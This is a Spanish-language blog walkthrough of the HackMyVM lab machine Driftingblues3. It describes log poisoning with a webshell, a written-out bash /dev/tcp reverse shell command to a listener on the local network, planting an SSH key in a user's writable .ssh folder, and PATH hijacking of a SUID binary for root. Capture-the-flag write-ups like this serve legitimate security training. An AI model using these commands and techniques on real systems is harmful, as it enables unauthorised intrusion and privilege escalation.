HackMyVM Driftingblues3 — Linux

Gm4tsyGm4tsy
4 min read

Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.

Descargamos el archivo de la página https://hackmyvm.eu/machines/

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.

Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan para ver la dirección IP en nuestra red que sería la 192.168.0.124.

Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.

Empezamos con un escaneo de puertos y podemos ver que solo tenemos dos puertos

Realizando un escaneo de los puertos podemos observar que tenemos un directorio encontrado.

Si ingresamos la dirección IP en el navegador vemos que tenemos una página sobre un festival pero nada más.

Revisando el directorio que nos mostraban y podemos ver que nos colocan la página html.

Seguimos a esa dirección y vemos que tenemos un texto en color blanco.

Revisando si es base 64 y podemos ver que tenemos otra nueva dirección.

Si vamos a esa dirección vemos algo muy interesante lo que parecen ser capturas de log.

Probaremos si es una captura estática o se actualiza. Para ello probaremos acceder por ssh empleando el usuario root y al regresar a la página vemos que sí nos registró.

Probaremos realizando otra petición, pero esta vez inyectaremos una webshell para ver si podemos ejecutar comandos y obtenemos un error

Ya que tenemos problemas por ssh, intentamos por nc.

Probamos si funciono, y podemos observar que tenemos acceso.

Vamos a la vista de código para probar otras consultas y tenemos éxito.

Puesto que podemos enviar consultas, enviaremos una que nos devuelva una revershell. Para ello iniciaremos nuestro listener.

Luego de ello enviaremos nuestro comando para tener conexión.

bash -c 'bash -i >& /dev/tcp/192.168.0.109/1234 0>&1'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F1234%200%3E%261%22

Enviamos la consulta, si se queda cargando es buena señal.

Regresando al listener vemos que se estableció conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Revisando las carpetas nos percatamos que podemos acceder a la carpeta de usuario de robertj y listando archivos también vemos que podemos escribir en la carpeta .ssh de este.

Vamos a la carpeta temporal y creamos unas llaves.

Vamos a la carpeta ssh y pegamos el contenido del id_rsa.pub en un archivo llamado authorized_keys.

Establecemos conexión con la llave id_rsa y podemos observar que ya estamos dentro.

Probamos empleando sudo -l por si tenemos algún comando, pero vemos que no lo tenemos, realizamos una búsqueda de permisos SUID y vemos que tenemos a getinfo.

Al ejecutarlo observamos que ejecuta 3 comandos.

- ip a
- cat /etc/hosts
- uname -a

Haciendo un cat al binario vemos una parte del código y vemos que solo llama a los comandos.

Observamos si el path se dirige a una ubicación específica, pero vemos que es muy simple, así que nos aprovecharemos de esta y agregaremos una nueva ruta para que busque en esa ruta primero y ejecute nuestra versión modificada del comando.

Ejecutamos el binario y podemos observar que somos root. De esta manera culminando esta máquina.

0
Subscribe to my newsletter

Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Gm4tsy
Gm4tsy